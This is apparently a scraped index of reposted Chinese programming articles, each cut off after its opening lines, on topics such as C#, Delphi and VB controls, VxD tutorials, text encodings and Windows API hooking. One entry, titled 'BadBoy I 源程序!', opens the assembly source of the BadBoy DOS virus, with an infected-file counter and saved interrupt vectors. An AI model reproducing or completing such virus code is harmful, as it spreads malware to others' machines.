The Overview of ECMA C# Language Specialisation (1) (转)
The Overview of ECMA C# Language Specialisation (1) (转)[@more@]The Overview of UCMA C# Language Spesication8. Language Overview (语言概观) 这个条款是扩展的资料。 C# (读音为“c shARP”)是一种简朴、富有朝气的、面向对象和类型安全的编程语言,可以很快地被C/C++程序员所接受。C#的目标是结合快速开发(RAD)语言的高效和C++强大功能。 以下的几节会描述这门语言的基本特点。在后面的章节中将详细地,甚至是精确地介绍该语言的规则及其他。本章将力求清晰简短的含盖所有的内容。使得读者有个初步地印象和
用winspool取得本机安装的打印机的详细信息 (转)
用winspool取得本机安装的打印机的详细信息 (转)[@more@]用winspool取得本机安装的打印机的详细信息 在Delphi 6 Professional version on windows 2000 Professional环境下测试过窗体的名字为"FPrint",有TMemo 和 TCombobox 两个控件 unit unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, ComCtrls, TabEdit, Printers, Buttons, WinSpool; type TPrinterInfo = record SeverName : PChar; PrinterN
全透明窗体(效果比较好) (转)
全透明窗体(效果比较好) (转)[@more@]全透明窗体(效果比较好)uses里加上ExtCtrlsprocedure tform1.setformtransparent;var I: Integer; FullRgn, ClientRgn, ControlRgn: THandle; Margin, MarginX, MarginY, X, Y: Integer; W,H,S :Integer; bX,bY :Integer; c :TColor; begin Margin := (Width - ClientWidth) div 2; FullRgn := CreateRectRgn(0, 0, Width, Height); MarginX := Margin; MarginY := Height - Cl
C++命名空间的使用 (转)
C++命名空间的使用 (转)[@more@]c++语言提供一个全局的命名空间namespace,可以避免导致全局命名冲突问题。举一个实例,请注意以下两个头文件: // one.hchar func(char);class String { ... }; // somelib.hclass String { ... }; 如果按照上述方式定义,那么这两个头文件不可能包含在同一个程序中,因为String类会发生冲突。所谓命名空间,是一种将程序库名称封装起来的方法,它就像在各个程序库中立起一道道围墙。比如:// one.hnamespace one{ char func(char); class String { ... };} // somelib.hnamespace SomeLi
防止关闭windows (转)
防止关闭windows (转)[@more@] 有时候程序在运行当中,不允许别的程序或人为的关闭计算机,除非应用程序知道windows将要退出,其实这样很简单,我们都知道系统将要关闭时,会向每一个程序发送WM_QUERYENDSESSION这条关机消息,只要我们的程序接受到此消息后,做恰当的处理即刻完成我们所需要的。 处理windows消息有好几种,在这里我们利用Application的OnMessage事件,建立响应该事件的过程即可!如下面的例子:unit unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms
TList,AnsiString和DynamicArray的妙用 (转)
TList,AnsiString和DynamicArray的妙用 (转)[@more@] System::AnsiString LabPath=ExtractFilePath("."); TIniFile *LabIni=new TIniFile(LabPath+"LabIni.ini"); void myList::ReadList(AnsiString TS){ System::AnsiString LabPath=ExtractFilePath("."); TIniFile *LabIni=new TIniFile(LabPath+"LabIni.ini"); Form2->AddList(); for(int i=0;i<Form2->LabelList->Count;i++) { TLabel *Lab; Lab=(TLabel *)Form2->LabelList->Items[i]; Lab-&g
哪一种语言最流行?VB,C++,JAVA? (转)
哪一种语言最流行?VB,C++,JAVA? (转)[@more@]Who's Number One?Java, VB, or C++? Three market research firms give widely divergent and contradictory answers.by Jim Fawcette Posted January 9, 2002 For years, the pecking order has been clear: Visual Basic was the most widely used language, Java the fastest growing, and C/C++ the most powerful, but relegated to a shrinking niche of highly skilled programmers. While many people anticipated that the transition to .NET, improved Java IDEs, the move to
检测系统是不是windows xp (转)
检测系统是不是windows xp (转)[@more@]下面的代码可以检查所用的系统是不是windows XPuses Registry; ... function Iswinxp: Boolean; begin Result := False; if win32PlatfoRM = VER_PLATFORM_WIN32_NT then with TRegistry.Create do try rootKey := HKEY_LOCAL_MACHINE; if OpenKeyReadOnly('Softwaremicrosoftwindows NTCurrentVersion') then Result := (ReadString('ProductName') = 'Microsoft Windows XP'); finally Free; end; end; //rock//转载请
Visual Studio .NET Enterprise Architect 中基于 Visio 的数据库建模:第二部分 (转)
Visual Studio .NET Enterprise Architect 中基于 Visio 的数据库建模:第二部分 (转)[@more@]摘要:本文是介绍 microsoft Visual Studio Enterprise Architect 中基于 Visio 的数据库建模组件系列文章中的第二篇。第一部分讨论了如何创建新的对象角色建模 (ORM) 源模型,如何在 fact editor(事实编辑器)中添加句子类型、基本内部约束及示例,如何将事实类型从 business rules editor(业务规则编辑器)拖到绘图窗口中,以及如何保存模型。还说明了如何通过创建数据库模型项目、添加 ORM 源模型、然后构建逻辑模型,将 ORM 模型映射到逻
ASP.NET Authentication Provider (转)
ASP.NET Authentication Provider (转)[@more@]ASP.NET Authentication Provider XML:namespace prefix = o ns = "urn:schemas-microsoft-com:Office:office" /> 小气的神 2001-12-20 Article Type: Overview 难度等级:3/9 版本:1.12 ASP.net 提供了一些新型的Authentication 和 Authorization 方案,对于开发人员来说这将是和以前不同的一种方式。可喜的是ASP.NET提供的方案多样更加灵活;可惜的是这种方案是基于IIS的。我知道,有些人并不喜欢IIS,认为它容易受攻击。只是一直不喜欢ASP的方式,杂乱
SVG:可升级矢量图形(1) (转)
SVG:可升级矢量图形(1) (转)[@more@] SVG是一种采用XML来描述二维图形的语言。SVG可以构造三种类型的图形对象:矢量图形、位图图象和文字。图形对象可以被组化、样式化、变形和重新组合,包括图象嵌套、变形处理、剪辑路径、Alpha蒙板、滤镜特效和模板对象。 SVG图形可以是动态的、可交互性的。动画通过直接声明(比如在SVG里嵌入SVG动画元素)或通过脚本来进行定义或触发。 SVG通过使用脚本语言来完成比较复杂的应用,脚本语言调用SVG对象模型(SVG Document object Model)来访问或控制所有的元素、属性和属性值。事件处
Visual Studio .NET Enterprise Architect 中基于 Visio 的数据库建模:第一部分 (转)
Visual Studio .NET Enterprise Architect 中基于 Visio 的数据库建模:第一部分 (转)[@more@]摘要:本文是介绍 microsoft Visual Studio .NET Enterprise Architect 中基于 Visio 的数据库建模组件系列文章中的第一篇,重点介绍该工具提供的对象角色建模 (ORM) 支持。 目录 dotnetvs700/html/vseamodelingp1.ASP#vseamodelingp1_intro" target=_self>简介 创建新的 ORM 模型 使用 Fact Editor(事实编辑器) 添加句子类型 使用 Fact Editor(事实编辑器) 添加基本内部约束 在事实类型中添加示例 在绘图上显示句子类型
BadBoy I 源程序! (转)
BadBoy I 源程序! (转)[@more@] code segment assume cs:code,ds:code .radix 16 org 100 start: push word ptr cs:[table+2] push cs pop ds jmp word ptr cs:[table] ;go to module 1 curofs dw ? files db 0 ;number of infected files from this copy fsize dw 2 ;size of infected file ftime dw ? fdate dw ? stdint21 dd ? oldint13 dd ? oldint21 dd ? oldint24 dd ? ;------------- TABLE WITH MODULE PARAMETERS -------------------- table: dw offset false_mod_1 ;00
乱码大全(三) (转)
乱码大全(三) (转)[@more@] Base64XML:namespace prefix = o ns = "urn:schemas-microsoft-com:Office:office" /> Base64和下面将要介绍的Quoted-Printable都属于MIME(多部分( multi-part)、多媒体电子邮件和 WWW 超文本的一种编码标准,用于传送诸如图形、声音和传真等非文本数据)。MIME定义在rfc1341中。 Base64是现今在互联网上应用最多的一种编码,几乎所有的电子邮件软件头把它作为默认的二进制编码,它已经成了现今电子邮件编码的代名词。 下面是Base64的一个例子,从例子中,您也可以看到Bas
乱码大全(二) (转)
乱码大全(二) (转)[@more@] 2. XxencodeXML:namespace prefix = o ns = "urn:schemas-microsoft-com:Office:office" /> 提到Uuencode不可能不提Xxencode, Xxencode的编码算法和 Uuencode基本相同,但是使用的是不同的字符集。XxEncode编码使用的字符是: “+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz”与 Uuencode 相比,它的特殊字符更少。很多支持 Uuencode 编解码的工具都同时支持 Xxencode。 这种编码的特征是:每一行开头用“h”标志。下面是Xxencode的一个例子: begin 644
iczelion Vxd cntut2 (转)
iczelion Vxd cntut2 (转)[@more@] 虚拟机管理器 虚拟机管理器(VMM)是windows 95的实际操作系统,它建立和维护一个管理虚拟机的框架,同时为其他vxd程序提供许多重要的服务。其中三种重要的服务是: 内存管理 中断处理 线程调度 内存管理 VMM使用intel 80386或更新的处理器的内存调页能力来为系统虚拟机创建一个32位的虚地址空间。它把这个地址空间分为四个不同的部分: V86区 地址从0H到10FFEFH,这个区属于当前执行的虚拟机。 应用程序私有区地址从4MB到2GB。这是win32应用程序运行的空间。每个Win32的进程都有它自己
利用回调函数和CSocket建立网络程序 (转)
利用回调函数和CSocket建立网络程序 (转)[@more@] 在使用CSocket使用中的一些经验,特贴出来跟大家共享。 先利用VC建立一个工程(单文档、多文档或对话框均可),以下以单文档工程为例。 在工程中加入CSocket类的继承类CServerSock。在CServerSocket类中加入CMyView* m_pView,修改CServerSocket的构造函数CServerSocket::CServerSocket(CMyView* pView){m_pView=pView},这个类监听客户端连接;再加入CClientSock类,同样继承于CSocket,同样如上修改CClientSock的构造函数;服务器端开始连接的代码如下: 再
在VB程序中,通过代码改变Combo控件只读属性Style值 (转)
在VB程序中,通过代码改变Combo控件只读属性Style值 (转)[@more@] 在VB程序中,如果你用如下语句动态创建一个Combo控件 Dim WithEvents cmbDropList As ComboBox...Set cmbDropList = Controls.Add("VB.ComboBox", "cmbDropList")后,Combo控件的Style值是1 (VbComboDropDown 下拉式组合框,包括一个下拉式列表和一个文本框。可以从列表选择或在文本框中输入 ),若想把Style的值更改2 (VbComboDrop-DownList 2 下拉式列表。这种样式仅允许从下拉式列表中选择 ) 通过语句Combo1.Style=2是不行的,因为Style是只读属性。为了
动态汉化Windows技术的分析 (转)
动态汉化Windows技术的分析 (转)[@more@]"陷阱"技术探秘 ──动态汉化windows技术的分析 四通利方(RichWin)、中文之星(CStar)是大家广为熟知的汉化Windows产品,"陷阱"技术即动态修改Windows代码,一直是其对外宣称的过人技术。本文从Windows的模块调用机制与重定位概念着手,介绍了"陷阱"技术的实现,并给出了采用"陷阱"技术动态修改Windows代码的示例源程序。 一、发现了什么? 笔者多年来一直从事Windows下的软件开发工作,经历了Windows 2.0 、 3.0 、3.1 ,直至Windows 95、NT的成长过程,也遍历了长青窗口、长城窗口、dbWin、CStar、RichWin
iczelion Vxd tut5 (转)
iczelion Vxd tut5 (转)[@more@] VxD Example: MessageBoxIn the previous tutorials, you learn about mechanics of VxD programming. Now is the time to apply what you have learned. In this tutorial, we will create a simple static VxD which will display a message box whenever a VM is created/destroyed. Trapping VM creation and teRmination eventsWhen a VM is created, the VMM sends Create_VM control message to all VxDs. Also when a VM is terminated normally, it sends VM_Terminate and VM_Termin